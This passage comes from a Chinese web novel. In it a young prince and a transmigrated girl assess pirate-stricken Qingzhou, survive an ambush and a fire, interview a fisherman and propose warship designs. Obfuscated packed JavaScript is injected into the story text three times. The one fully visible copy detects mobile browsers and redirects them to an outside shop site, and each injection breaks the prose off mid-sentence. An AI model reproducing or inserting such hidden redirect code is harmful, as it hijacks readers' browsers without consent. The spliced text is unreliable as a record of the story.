不一会儿,赋思便端着茶水进了厅里,给了郁见深和俞修衡一人一杯。当然没有方绾宁的份,这时候方绾宁也没敢明着要,吞了口口水站在一旁望着院里的枯草。 俞修衡许是注意到了,端着杯子的手又放了下去,问一旁的赋思,“房间收拾好了嘛?” 赋思颔首回答:“回王爷,已经准备好了。” “那走吧,休憩一番。准备晚间赴宴。”俞修衡说完抬腿朝外走去,方绾宁小短腿飞速跟上。 这座宅院面积倒是挺大,赋思带着他们一路拐过好些游廊,终于到了俞修衡的住所。 “绾宁可有安排住哪儿?”俞修衡问赋思。 赋思侧过一点身,回答:“王爷住逸韵斋,绾宁姑娘安排在旁边的青竹居。” 俞修衡满意的点点头。 不过方绾宁没回青竹居,到了俞修衡的房间找了一处临窗的躺椅,将自己累了一天的小身板往上一放便闭着眼准备睡一觉。 俞修衡也乐得见她这种舒适模样,让赋思出去后就坐在桌前看着她。 “绾宁。”他眼眸间有些郁闷。 “怎么了?” 他叹了一口气,“忧虑。” 方绾宁没睁眼,“理解你,但别怕。我刚才从城门到这里的一路上,已经开始回忆上辈子学的政治与经济了。” “那你有头绪了?” “……没有。” 俞修衡在桌上倒了一杯水递到她手上,“我倒是有一点想法了,但还是先看今晚的宴席上能得到什么有用的消息吧。” 俞修衡起身走向外间,“绾宁,你先休息会,我们要出发的时候再叫你。” 方绾宁喝完水,伸手朝他比了「ok」的手势,随即躺下一秒入睡。 她确实有些累了,神经一直有些紧绷,看着青州的情景有些空洞的不真实感,但贫瘠的街道吹来的热风却是能烧灼人的骨头一样。 俞修衡隔着帘子看着躺椅上的人,拿起桌上刚送来的青州情报翻了开。 “王爷敬启:属下与五天前率亲卫到达青州。据属下这几天走访调查了解,青州民生多艰难,自十年前海寇劫掠青州城,城内人口十不存一,临海居所烧毁殆尽,朝廷派兵清缴十数次,或是在海中找不到海寇居住岛屿无功而返,或者全体葬身大海,海寇狡猾凶残,杀害百姓,屠戮官员……曾有朔北大营昭武将军率领五万兵马驻守青州城。但海寇依然前来侵扰,在海面上放火弩却不上岸,等到将军率领人马上船追击却被贼寇引入大海深处失去踪迹……此后,青州人员二度流失,无商旅进城,无游客歇脚,为朝廷遗弃地带,不负再言……” 俞修衡放下信笺,扶着额头,捏了捏眼角,望向里间深深叹气。 方绾宁睡醒的时候,天色已经有些暗了。她跟在俞修衡身后以为能蹭到一顿大餐来着,虽然不奢求能像齐陵的水准,至少得有地方特色吧。 但一看见赴宴的地方居然在青州的官府县衙,她脑子就一阵嗡。府衙就府衙吧,毕竟特殊时期,就这城里的情况想来也没有酒楼。 谁知一看见饭菜摆上桌,方绾宁脑子又是一抽。 全鱼宴,佐上几道小菜。那鱼方绾宁要是没看错的话,应该是咸鱼干啊。还有一道新鲜的活鱼被煮成了一锅奶白色的汤,瞧了半天也没见鱼肉。卖相最好的就是中间那道清蒸鱼了,什么鱼方绾宁没看出,或许是海鱼吧,看鱼身的颜色红红的。小菜还是方绾宁没进城之前在路边见过的野菜,她震惊,青州的官员就拿这个招待亲王? 俞修衡就淡定许多,坐上座位后,半点眼神都没留给那条鱼。让一旁见礼的官员们全都落了座,便开门见山问起了张冠。 “张大人,本王前来可不是单单为了吃饭。青州情况我已了解三分,尚有些许存疑,要你来答。” 张冠低下头,“王爷请问,下官长于青州四十余年,任职长史十四年,没有人比卑职更明白青州的前世今生。” 俞修衡拿起桌上的杯子喝了一口酒,抿了抿嘴,问:“青州现在人口几何?” “加上附近小县村镇,人口不足五万。” “那青州可有常驻军或者兵吏。” “前几年是有的,但昭武将军出事后,便没有军队来此了,只有城里自发组建的自卫队,一共两百二十一人。” 俞修衡眼神亮了一点,“自卫队?具体是做什么的?” 张冠语气有些虚,“就是在临海港口附近,搭建一些防御工事,如若见了海盗的旗帜便组织城内人口避难。” 俞修衡亮着的眼神又暗了下去,也就是说根本没有护卫的本事,只是传讯的。 “说一些那些海寇的详情讯息吧,没有人比你们更了解他们了。” 张冠顿了一会儿,语气中带着悲戚,“十年来的景象历历在目。那些海寇乘巨大海船而来,下官也算靠海而生,见过的船不计其数,但那些贼寇的船确实第一次见,主船船身约有15丈,三桅,主桅杆约4丈,船舱约4层,可容纳二百余人,首昂尾翘,航行迅速。其余船只形体中等,但都是首尾高昂,十分灵活。第一次青州之祸,那些海寇出动大小船只二十余艘,从船上入城掠夺的人大约有两千五百人左右,服饰多为皮革,颜色大多呈猩棕色,刀剑弓弩虽是粗糙铁器,但这些人个头高大,力气十足。” “他们不是东洲人?”俞修衡问道。 张冠稍加思索,“观样貌,和中原人相差无几,但服饰却不和东洲相同。而且那些人十分狡猾,上岸不到一个时辰便鸣笛退回了海里。相隔三天又卷土重来,青州城卫出兵他们就撤,我们一松懈他们又来,几次之后那些海寇烧了民居还烧了港口停泊的船。曾有军队追出青州海域三十海里,但追不上又找不到那些人的老巢,十分头疼。直到有一回我们事先埋伏,重创了一次那些海寇。青州城消停了两月……”张冠突然愤懑,“但两个月后那些海寇显然有备而来,上岸之前先用火弩开道,进城便开始烧杀劫掠,见人就砍,见物便夺,掠夺财物不计其数,还绑妇女上船,至今不知其生死。那次青州城伤亡惨重,数十万百姓家破人亡。” 张冠说及此处,掩面流涕,声音哽咽。 但一旁的郁见深还是发出疑问:“听张大人所描述,这伙海寇似乎是有组织有预谋的?他们背后有人指挥?” 见张冠形表失礼,坐在身旁的另一位官员回答道:“殿下恕罪,关于海寇的情报我们也知之甚少,在一个又一个倒下的兵卒中,只能探听到这伙海寇似乎来自一个叫朗源岛的地方,当然这座岛我们至今没找到,不过听到他们称呼他们的首领为何将军。“ 俞修衡皱眉,“何将军?” “是。他们人数大约在八千至一万左右。每次来袭最长停留时间不会超过12个时辰,前几年侵扰频繁,近几年显少踪影。”那位官员继续补充。 郁见深又问:“最 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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俞修衡眼光热切,赶忙答应第二天就带她去港口看看。 “那你今晚好好休息,明日我们……” 话音还没完,一支箭矢‘嗖’的一声射穿马车的外壁,将冰冷的箭头嵌在离方绾宁头顶三寸的地方。 俞修衡盯着这支箭,脸色瞬间一沉,“关珏!” 但是马车外并没有关珏的回应。因为他在听到箭矢破空而出的时候,就飞身上前拦住了数支冷箭。 夏季的晚上总是流淌着诡异的静谧,月光盛大,照在青州空无一人的街道上显得有些鬼一般梦幻。 暗处突然出现十人蒙面黑衣人,刀刃上的反光露出汲血的渴望。 关珏立即招来王府护卫团团围在马车周围,“保护好殿下!” 说完便轻功飞去立于队伍最前面,将手中的剑抽出来起势,眼神肃杀,盯着这群身份不明之人。 “这可是渊王殿下车驾,识相的还不速速离去!”关珏冷声对这群人说道。 但既然敢在第一天亲王入城便来刺杀的,想必也不会因为一言半语便收刀离去。只见那群黑衣人眼神对视半分,立马冲身上前挥出了冷冽的一刀。 四人将关珏拖在包围圈中,一刀一剑劈得在寂静的街道吭哧作响。 剩余六人朝马车这边冲过来,锋利的刀剑立马和护卫们缠斗起来。 方绾宁整个人被吓得僵直,有侍卫的血溅洒在车身上,空气里不一会儿便弥漫着一股生铁味道。 “绾宁,我们不能呆在这儿。”俞修衡相比之下镇静许多,他牵过方绾宁的手,就从后座下了马车,“这次我们带的人不多,先往王府方向走!” 可以看出来那十人都是个中好手,将王府的护卫逼得堪堪后退。另一辆马车上的郁见深也下了马车,抄起一旁的刀剑向俞修衡走来。 郁见深挥刀拦下了一名靠近的黑衣人,看拿刀姿势似乎是个有武艺的人。 “殿下,先走!”郁见深将俞修衡二人护在身后,慢慢朝王府走去,“马上就会有人来支援,殿下莫要慌张。” 俞修衡没见多惊慌,倒是方绾宁第一次见这种刀刀见血的场景,骇得四肢发颤。 不远处,关珏被那几个黑衣人缠得有些急躁,只见他突然变化了剑招。从之前的行云流水乍然变换得暴戾,招招毒辣直指人致命之处。关珏的动作方绾宁不仔细看都看不清出手的招式,只见凌厉的剑气在夜晚空明的苍穹下闪烁成骇人的寒光。 几招下来就将其中二人刺倒在地,鲜血顺着他的剑淌在石板上,少顷便没了喘息。 方绾宁收回目光,跟着俞修衡还没奔走几步,街角便出现大批人马,身穿王府亲卫官服,举着火把向着这边赶来。 俞修衡见状也不再走动,皱着眉,一边拉着方绾宁的手一边朝着郁见深开口,“郁先生,剩下的事你看着处理吧,我先带着绾宁回府了。” 郁见深将手中的剑背在了身后,颔首道:“那王爷和方姑娘先去吧,这些贼子定逃不出这条街道。” 18.老渔夫 第十八章 方绾宁和俞修衡就这样在一小队王府亲卫的护送下,慢慢朝着府邸走去。 离开了那条街道,方绾宁已经闻不到那空气中骇人的铁锈味。她深吸一口气,望向天上惨败的月亮,心中有些惆帐。 俞修衡早已经放开了她的手,他脚步缓了一缓,和身后的方绾宁并肩而行。 “绾宁,被吓到了吧。你有受伤嘛?” “受伤倒是没有,被吓到了倒是真的。”方绾宁此时平静了许多,“我看你还挺冷静的,你不怕嘛?” 俞修衡把看向她的目光又望向了别处,“这种事情我…遇到过很多次了。开始还是很怕的,怕血,怕死。”还怕刀戈的撞击声,怕那些人低哑的嘶吼。“但也没办法,你只能去听去看。” 俞修衡的话说到后面有些失音,方绾宁默默拉了一下他的衣角。 俞修衡摇了摇头,“没事,那些日子都过去了。直到后来我也有自己的那些亲卫暗营,身边又有了像关珏那样的贴身之人。其实刺杀这种事已经少了很多。” 方绾宁顿时有些哽咽,“我以为太子或者亲王的日子会很好过,锦衣玉食,荣华富贵什么的。所有人都会捧着你,爱着你,不让你受一丝伤害。可想不到……” 方绾宁又重新握住了他的手,“想不到,你的日子过得并不好。” 俞修衡将方绾宁握的手紧了紧,轻柔的说:“还好,锦衣玉食是真的,那些阴暗的算计也是真的,不过我现在也没有那么在意。” “那你对今天这场刺杀怎么看?肯定是冲你来的,是应京的人?”方绾宁问。 俞修衡点了点头,“是承王,我这个二哥可恨我了。从出京就安排了人混进队伍里,今晚这场刺杀其实也在意料之中。” “那今晚这件事了结,以后是不是就不会再发生这种事了。” “什么事?刺杀嘛?”俞修衡拉着她的手,停住了脚步。 方绾宁有些疑惑,抬起头看他,看见他的睫毛在夜色中小幅度煽动,像是蝴蝶在振翅,耳边又传来他的声音,“绾宁,只要我还在世上活着,这种事情就不会断绝……恨我的人,是不会让我舒舒服服的活着的。” 听着他的话,方绾宁喉咙里像塞了一块石头般沉重,她不太明白俞修衡之前到底经历了什么,让他现在看起来那么阴郁,又那么脆弱,“那你可别称了他们的心意,你要活得比太阳还光芒盛大!” 她尽量让自己的声音听起来轻快一些,也不知道俞修衡有没有被安慰一点。 不过他半晌没答话,只是牵着方绾宁的手一直默默的朝前走着,在她以为他不会回答的时候才有话小声的从风里传来,“如果是现在的话,我会努力的。” 之后两人再没有说话,沉默的朝府邸走去,刚拐过一条街,便看见前面燃起了一场大火。 火势在干燥的夏季蔓延的迅速,没一会儿,半边天空就被烧得通红。街道上陆续跑出来惊慌的百姓,他们以为又是海寇来袭,外衣都还没来得及穿就叫喊着在街道上四散奔跑。 一直到快天亮,大火才被扑灭。 包括渊王下榻的宅邸,这场火烧了半条街。 青州官员昨晚接到消息便赶来一起救火,这时也累的筋疲力尽,看见一旁俞修衡的脸色阴沉,纷纷上前跪地请罪。尽管知道这并非海寇所为,但进城第一天就让就藩的亲王遭遇这种事情,他们难辞其咎。 “王爷,让您受惊了,下官罪该万死。”张冠跪在地上,没敢抬头,“下官已经派人去找了另一处临时歇脚的地方,还请王爷稍候片刻。” 俞修衡并没有要怪罪他们的意思,“请起,张大人。这场大火只是天干物燥,怪不到任何人的头上。至于本王住哪儿,我手下的人也已找到了地方,还是不用张大人操心了。” 张冠等人顿时松了口气。 而昨晚那场刺杀也早就被郁见深处理妥当,他听闻了大火,立即就去找了另一处地方,现在赶来带着他们过去。 方绾宁跟着俞修衡登上马车,去了青州南边一处宅邸。 昨晚的火除了房屋什么也没带走,没人伤亡,也没什么值得烧毁的财物。像是场下马威一样吓唬了一下俞修衡。 还好现在青州城空置的房舍很多,他们入城的第二天就搬了第二次家。这次的住所比昨天的小一些,但更精致些,也离海边更远了。 方绾宁十分理解那群亲卫在想什么,好像离海边越远越安全一样,他们是真的把俞修衡当作一颗眼珠子似的在保护。围在他身边的护卫比昨天多了起码十个不止,也可能是昨天处理了应京来的眼线,俞修衡的势力开始最大程度的出现在方绾宁面前。 不过现在俞修衡暂时没办法出门,他得装个三五几天的病。 关珏昨晚已经将那些刺客解决了个干净,还在他们联络的信鸽上送出了假情报。郁见深亲手在那密信上写了渊王受伤,王府被烧毁的消息。 “让承王殿下多高兴几天。”郁见深在回复俞修衡问话时这样说的。 昨天那些人就算自己不暴露,最终也会被郁见深清理干净。但他们永远拦不住那只从应京伸来的手,所以一些表面的功夫暂时还是要做一下的。 不过,下一次的应京访客大约也没有那么好的机会出现在俞修衡面前了。 方绾宁这几天跟着俞修衡待在他的房间里陪他“养伤”。 一边听他说一些少年往事,一边翻看青州府衙送来的方志和他手下搜集到的青州情报。 然后再顺便调戏调戏赋思和文晓两人,只要俞修衡在,方绾宁就像借了虎威的狐狸,虽不至于无法无天,但常常惹得她们二人嗔怪方绾宁一点也不像个十四岁的小姑娘,倒像是个混迹市井的小无赖。 实在不能怪方绾宁,赋思和文晓真是貌美又知礼,忍不住想在这俩漂亮姐姐身上蹭蹭香风,而俞修衡也不会管她,只是在她们控诉方绾宁无礼时无奈浅笑。 致使现在王府的人谁也不敢把方绾宁当作婢女,但她具体身份到底是什么呢?也没人说的清,大家都方姑娘方姑娘的叫,只要方姑娘在的地方,王爷总会笑脸盈盈十分和气,让一些胆大的婢子偶尔也会在王爷面前和方绾宁斗斗嘴。 而钱管家最近忙活着整理王府诸项事宜,还没来得及调教府中的下人们,这让新王府的气氛松快不少。 而在这几天里,王霄带着方绾宁新的户籍信息回来了,不过这份户籍并没有交到方绾宁手中,它被俞修衡默默的捏在了手里,找了一个匣子,郑重地锁在了里面。 等到郁见深处理完那些琐事,并表示他们可以出门时,已经离那场大火过去了十天。 此刻方绾宁和俞修衡正行走在青州的海岸线旁,隔着粗糙的防御工事眺望远处碧蓝的大海。 “让你手下的人把这些连风都挡不住的木栅栏撤了吧。”方绾宁说,“这些东西除了有些心理安慰,什么用场也指望不上,还影响海洋吹向陆地最凉爽的季风。” 俞修衡看着辽阔的海域心情也舒朗不少,“嗯,马上就让他们去办。” “现在青州早就没什么值得海盗们惦记了,为什么就盯着这一处地方薅?”方绾宁问。 “绾宁你以为青州只有这一片地方吗,青州的海岸线至少绵延一千二百多公里吧,离青州最近的下一个港口城市,行船得两三天,海寇又不傻,没必要冒那么大的风险去下游劫掠。” “原来如此,既然海盗在两个月前已经上过岸了,那给青州的喘息时间至少有4个月。四个月,渊王殿下,接下来可有得你忙了。”她转过头去看俞修衡的脸,伸出手自然的拍了拍他的肩。 那些亲卫离他们有些距离,只有关珏贴身跟着,而关珏早见过了俞修衡对她的纵容,只要方绾宁没跳起来揍俞修衡一拳,关珏一般是不管的。 而俞修衡更不在意了,唇角含笑,他喜欢她这种旁若无人的亲昵。 方绾宁远远瞧着海边有一个渔夫似乎正在晒网,她凝神看了一会儿,提起衣裙快步朝前走去。 “老人家。”方绾宁朝那个胡子花白的渔夫喊了喊。 老渔夫听见了声音,停下手中的活计,转过了身,看见一个衣着华贵梳着双平髻的小丫头。 “老人家,你是这附近的渔夫?”方绾宁笑着问。 “你是哪里来的丫头,这可不是什么安全的地方,还不赶快离开。”老渔夫也不问她是谁,连忙驱赶她。 方绾宁也不恼,细声细语的说着话,“老人家,你别急,我是渊王殿下的婢女,特来此地是想跟你打听点事儿的。”说着她朝身后指了指正在朝这边赶来的俞修衡,“你看,那就是我们王爷,这青州城就是他刚得来的封地。” 老渔夫又朝着不远俞修衡的方向看了看,突然哂笑,“王爷?来了个王爷?就算来个大罗金仙都救不了青州城。” “本王虽不是大罗金仙,但还是有颗想救一救青州的心。”俞修衡走上前对着那个渔夫说。 但那老渔夫好似并没有将他的话放在眼里,“就算你是王爷又怎么样,这城里来了多少钦差、将军,如今不还是如此,朝廷都已经放弃我们了,你又做的了什么!” “放肆!不得对王爷无礼。”关珏呵斥。 俞修衡连忙抬手制止。 但也没得到老渔夫的青眼,他从鼻子里发出轻蔑的气息,“怎么?要杀我?那就来吧,反正不死在你们手里,早晚也会被海寇夺了命去。” 方绾宁朝着那老渔夫走近了些,又笑着说:“老人家,您别慌,那带刀的大个子没有恶意,我们只是想来问一些事儿。关于那些海寇的,我们一丁点恶意都没有,只是想着为青州做点什么,毕竟日子再坏也没有比现在更糟糕的了,你说是吧。” 许是老渔夫见方绾宁的笑容真挚,或者今日的天气实在晴朗,他没有再为难他们,一边抱怨着一边领着他们朝海岸边那座小房子走 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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还没等方绾宁说出安慰的话,这老渔夫收起悲伤的语气,立马苦大仇深了起来,“要我说,要是我们青州能造出像那些海寇行驶的大船,我们也不至于被打得节节败退。陆上的军队厉害有什么用,上了船就是群无脑的旱鸭子,淹死的都比战死的多……” 这老渔夫似乎都没把他们当作什么多尊贵的身份,当着一个王爷的面就开始无差别吐槽朝廷和军队。听得方绾宁一直朝关珏那边瞅,生怕冒犯了古代士兵将领的权威,怒起拔刀砍了眼前这个老渔夫。 方绾宁急忙截住他的话,俏皮的问:“老人家,那您觉得那些海寇的船和我们的有什么不一样嘛?” 老渔夫浑浊的眼睛一亮,“小丫头,那你可问对人了,你且听我说……” 然后老渔夫就跟方绾宁‘突突突’的讲了近两个时辰的造船小百科,从他拴着的小木船讲到青州渔民通用的货运沙船,远航用的帆船,再到海寇乘的巨型船;还讲了他还是小渔夫的时候就能潜入海里半盏茶的时间,到如今光凭借摸摸海水的温度和闻闻空气里的味道,就能辨别海上起没起大风。说到高兴处不仅带着方绾宁去沙滩上捡了好几种贝壳,还差点拉着她登上那摇橹出海去看近海里的珊瑚群…… 一直到正午时分方才罢休。 “宁丫头,下次老头子教你挖海滩上的螃蟹!” “好啊!杨老伯,我下次再来看你……” 两人已经愉快的交换了姓名。 方绾宁离开海滩时衣兜里装了不少颜色各异的贝壳海螺。 “高兴了?”俞修衡走在方绾宁旁边,伸手想去拿她兜里的贝壳,却被方绾宁打了手。 “这可不是给你的,回去之后我洗干净了,穿成风铃送给赋思和文晓。” 俞修衡撇撇嘴,“我陪着你一上午,连个贝壳也不给?” 方绾宁拿起一片扇贝的贝壳,放在太阳底下细细的看着,“你也别恼,我从杨老伯那得到的消息可比这贝壳稀罕。” “哦?什么消息?”俞修衡问。 方绾宁将贝壳收进包里,准备卖一个关子,“我们下午去见见张大人吧,让他给我们说说青州的海军以前到底是个什么德行。” 一边的关珏突然说道:“海军?我们东洲哪儿有这类军种?” “是啊,就是没有,所以你们才打不过海盗。” 一整个下午,方绾宁都在青州府衙缠着张冠讲了关于船只和水上军队的一些事儿。 而这些,牵出了一个‘舟牧’的官职,但因为港口的船只早被烧尽了。这个官职也就被闲置了下来,虽说明面上只是个管理船舶的小官,但现在方绾宁真需要他啊。 而所谓的水军,只是青州自行组建善泅水的小队。最多的时候人数连一千都没有。 东洲的陆军太强大了,他们可以在内陆的土地上横扫千军,遇山开山,遇水搭桥,遇见挡路的夜郎就并进自己的版图,但却忘了,他们的海岸线对面究竟还隐藏着多少敌人。 19.战船 第十九章 方绾宁一行人回到渊王府的时候,天色已经很晚了,墨蓝的苍穹上已经出现了清明的月亮,而星星还是很淡很疏。 俞修衡今日做了一天的背景板,到了府里也不得闲,还没来得及换身衣服就被方绾宁拉着去了书房为她做画工。 “小川,你过来,你知道我毛笔用的不好,你照着我画的再细致的描一遍。”方绾宁将在桌上的白纸摊开,拿过笔山上一只精巧的狼毫,在纸上细细的画出船的轮廓。 俞修衡走了过来,看了一番,“绾宁你会造船?” “我哪儿会啊,但我今天先是听了杨老伯描述的渔民常用船只,和今天下午在青州府衙张大人说的海上远航船只,就知道你们东洲的船舶,发展得一塌糊涂。竟然还没有一艘像样的战船,连伟大的水密隔舱你们都没有发明出来嘛?真真是落后就要挨打。”方绾宁一边小手飞快的画出水密隔舱的基本原理和式样,一边和俞修衡吐东洲的落后。 “尽管你们已经将帆船和江河货运的沙船运用得不错,但海上吃水深的船只就不行了,一旦出了海,遇上稍微大点风浪,你们船只沉没的几率就会非常高。而且你们造船的时候对龙骨的运用实在是有点拉胯。”说到此处还有些恨铁不成钢的心态,“所以你们东洲对海洋的探索率简直是,只知道近海海域有鱼是吧。”方绾宁曲起手指敲了敲俞修衡的额头。 “哎呦。”俞修衡装模做样的哀嚎一声。 一旁的关珏立刻‘唰’的一声将剑拔出了一半,“方姑娘,伤害王室宗亲是死罪。” 方绾宁的手顿了一下,尽管这句话前几天听了好多遍,但关珏的冷脸实在是令人有些发怵。 “知道了,知道了,关侍卫,你把剑收回去。”方绾宁双手做投降状。 俞修衡在一旁发笑。 方绾宁杏眸瞥了他一眼,“得意吧,渊王殿下。”然后用手肘小小推了他一把,“别笑了,咱们今晚加班加点把这些整理出来,明天叫上郁先生和张大人他们开会。” “嗯,好。”俞修衡收起了上扬的嘴角,挽起袖子照着方绾宁的图誊到另一张白纸上。 不知不觉,月上中天。 赋思端着热茶悄声入了书房,只见平时整洁的书房大变了样。书案和临床小几上堆满了画稿,地上还有些揉皱的白纸,蜡烛比平时多点了几盏,照的房间明晃晃的。桌前女子的脸上多了好几处墨渍,头发也有些乱糟糟的,她想得入神时还会不自觉的咬笔杆子,而另一边的王爷就要清爽许多,衣裳妥帖,发饰规整,下笔也十分顺畅,毫无晦涩之感。 关珏在房中护卫也没闲着,在案前老老实实的研起了墨。 清风顺着窗棂潜进房中,掀起纸张‘哗哗’颤动。他急忙用镇纸压住方绾宁旁边的画稿,不让它落在地上。一抬头便看见站在门前的赋思,两人颔首示意。 “王爷,方姑娘。已过子时,赋思端来茶水,你们暂且歇歇吧。” 方绾宁听见声音,立马扔了笔,就朝赋思走过去,接过她手里的茶一饮而尽,“啊,还是赋思姐姐温柔体贴。” 赋思微笑,重新倒了一杯茶递给窗边的渊王殿下。 俞修衡接过,赋思又说:“文晓还在厨房,一会儿做些糕饼再拿过来。” 俞修衡轻轻的“嗯”了一声,拿过手中的图纸朝方绾宁走去。 “绾宁,你图上这个画的是什么,看起来像个鱼尾。” 方绾宁放下手中的茶杯,接过来顺着他手指的地方看去,“哦,这是船尾舵,转向用的。我不是在上面标了吗?” “你这字谁能看懂,就我还能猜一下。”俞修衡小声抱怨,又拿过另一张图纸问,“还有这个,你的桅杆和帆是不是画得太简单了些,支撑不了你画的20丈船身吧。” “这是个概念图,又不是正经的设计稿,你不要那么吹毛求疵好不好。”方绾宁忙活到了大半夜,已经有些疲惫,语气不自觉带着点不客气。 “我这哪有吹毛求疵,要是不问你,我誊的时候能把这画成电线杆子。” “你就画成电线杆吧,大不了我明天再解释一遍。” “那何必还让我将你的船稿再画一遍,你明天拿着你的草图直接向他们说清楚不就行了!” 察觉到俞修衡好像有点气恼,方绾宁态度也软下来了,她拉着俞修衡的袖子朝软榻上拽,“嘻嘻。”嬉皮笑脸的说:“你生气啦?别气啊,我的画技和我的字一样你又不是不知道,除了你还能分出个一二,其他人可能就要把我划时代的伟大发明当成一团未干的墨水吧。” 俞修衡坐在榻上盯着那些图稿没好气的道:“找只蜘蛛让它沾满墨水在白纸上爬,都比你画的内龙骨像样。” 赋思和关珏有些听不懂两人怪异的对话,站在一旁看方绾宁耐心哄着炸毛的渊王殿下。 “要不说咱们惺惺相惜呢,你看我这画的跟蜘蛛腿一样,你都能认出这是船底第一层的内龙骨,果然是绝世无双的渊王殿下啊!” 方绾宁举起两张图,对着俞修衡稍显谄媚,笑盈盈得朝他阿谀一番。 赋思抬头望去,只见其中一张远远看去还是能瞧出船的形态,但其中的细节之处画得十分抽象,有些地方还被墨水糊作一团,旁边标注的字体也歪歪扭扭,赋思实在认不出来。但另一张就完全相反了,线条分明,字样清晰,不仅将另一张图上的船只形态结构完全誊抄下来,还添加了许多细节,让人一目了然。 方绾宁也有点不好意思,这样一对比起来,自己画的那简直是小学生涂鸦。 俞修衡也不再计较,拿过方绾宁手中的图稿,眉眼稍皱的问她,“那你说说,你这画得像中国结的是什么?” “也是龙骨啊,画的不像嘛?” 方绾宁眼神清澈真诚,看的俞修衡心里烧起一股无名火。 “那这些你画的小格子?” “是士兵作战的场所,可以通过这些小窗户往外面射箭啥的。” “那这个是……” “是护板。” “……” 俞修衡还没问出下一个问题,就听见方绾宁指着那根电线杆子说:“哎呀!渊王殿下的眼力真好,这都被你看出来了,这确实不是一根桅杆,是我心里对你扬起的风帆!” 说完方绾宁对着他俏皮的眨了眨眼睛。 关珏在一旁紧锁眉头,握住剑柄的手稍显迟疑,他感觉殿下被调戏了,但他没有证据。 赋思低头浅笑,烛火下的书房将殿下的面庞照的不是很真切,但从她这个角度看,殿下的耳朵红了。 “正经点。”俞修衡不自然的捏了捏衣袍。 方绾宁就这样态度良好,轻言软语的就将他的火给浇灭了。 尽管休息不到两个时辰,但二人的精神还是十分饱满。 简单洗漱完毕,吃过早饭后,方绾宁迈着小短腿抱着图稿跟在俞修衡身后,穿过庭院茂盛的草木,向约好的议事厅走去。 张冠早就到了,他身后跟着张渠等俩位青州官员,在郁见深来了之后主动朝他颔首行了个礼,“郁先生。” “张大人可是青州长史,这样岂不是要让我无地自容?”郁见深回礼。 “十几年前郁先生在京都时写的策论,下官也曾拜读过,当年先生的风姿实在耀眼,如果不是因为那件事,您也不会是现在这个小小的亲王谋士了。” 张冠还记得那是自己第一次参加春闱,不远万里怀揣着理想,在自己就着烛火苦读四书时,却看见当年意气风发的郁见深在酒楼被人众星拱月般围着,昔日的旧景和现下对比只觉得如梦如觉。 “过去的事不用再提,我如今只是个替渊王殿下办事的一介布衣罢了。”郁见深神情泰然,似乎一点也没有沉湎往事。 “那郁先生可知今日王爷召见,所为何事?”张冠问。 郁见深摇摇头,“不知,王爷虽然年轻但一向都非常有主见,或许…是对青州有了不同的革新吧。” 话音刚落,俞修衡便从门外走来。 富于春秋的亲王穿着一袭海棠紫的圆领襕袍,因为还未满二十所以没有戴冠,一头青丝用一支精致白玉发簪束起,腰上挂了一枚冰花芙蓉玉佩,眉眼舒朗,长身玉立,丰神俊秀。行走间步伐沉稳,通身散发出尊贵的气质。 张冠每次见这位渊王殿下总会不自觉的将姿态放低,此时他正携带着官员们弯腰行礼。 所以没看见身后还跟着一个玲珑可爱的方绾宁。 “不必多礼,大人们请坐。”俞修衡在首位上坐了下来,“今日请诸位大人们前来,是想和你们商榷讨伐海寇一事。” “难道王爷已有策略?”张冠拱手问道。 俞修衡语气不急不缓,“大家都知道东洲多是山丘平原之地,江河也算不得多,而像青州这样沿海而建的城市少之又少。导致国内陆军强悍,海上力量薄弱,才会让海寇有可乘之机。” “我们的海船体型小,吃水浅,载人载物皆是中等,而且还没有一支善水战的军队,这才在海上作战中屡屡失败,受海寇的欺压,抢夺百姓的财物,烧毁百姓的房屋,让青州变成今日这等苍凉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14516600|154004||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 模样。” 官员们都经历过往日的受难之景,纷纷露出哀戚愤恨的神情。 张冠出声道:“青州之弊,下官也知晓,但哀叹如今技术有限,再怎么造舟也比不过那海寇的巨船啊。” “所以,今日,本王便要造一艘能匹敌海寇,或者更胜一筹的巨型战船。”俞修衡转头示意身后的方绾宁,“绾宁。” 方绾宁将准备好的图稿拿出来,平铺在面前的方桌上。俞修衡侧身让方绾宁站得更近些,方便她做讲解。 “大人们请看,这是一艘大型尖底战船,三桅,主桅杆高度可达到5丈,全船分四层,下层装土石压舱,二层住兵士,三层是主要操作场所,上层是作战场所,首部高昂,又有坚强的冲击装置,乘风下压能犁沉敌船,吃水12尺,远洋航行也不在话下。” 图纸上呈现出来的是一艘高大宏伟的楼船,底尖上阔,首尾高昂,两侧有护板,相比于青州之前的海船,这艘船能容纳更多的士兵与物资,能驶向更宽广的海域。官员们包括郁见深都被撼动不已。 “如此奇思妙想,真是未曾听闻。” 方绾宁又拿出另外几张图,“大人们,再看这艘船。这叫鹰船,体轻,两头尖翘,不辨首尾,进退如飞,机动性强。如果四周用茅竹密钉以掩护,竹间留铳眼,可冲入敌阵,实行突击。” 方绾宁一口气将鹰船,网梭船,子母船等战船都拿出来讲解了一番。 “如果我们东洲能装备上这等战船,还怕那群目无法纪的海寇嘛?”方绾宁小小的身躯因为要一处处给他们讲解船只细节,已经半趴在了桌面上,此时她正了正身躯,挺直脊背,目光灼灼。 在场的人一颗心胀鼓鼓的荡来荡去,充满着激动兴奋。 张渠却面露疑惑,询问道:“方姑娘,不知这战船是谁设计构想的?” “是绾宁。”俞修衡在一旁替她回答。 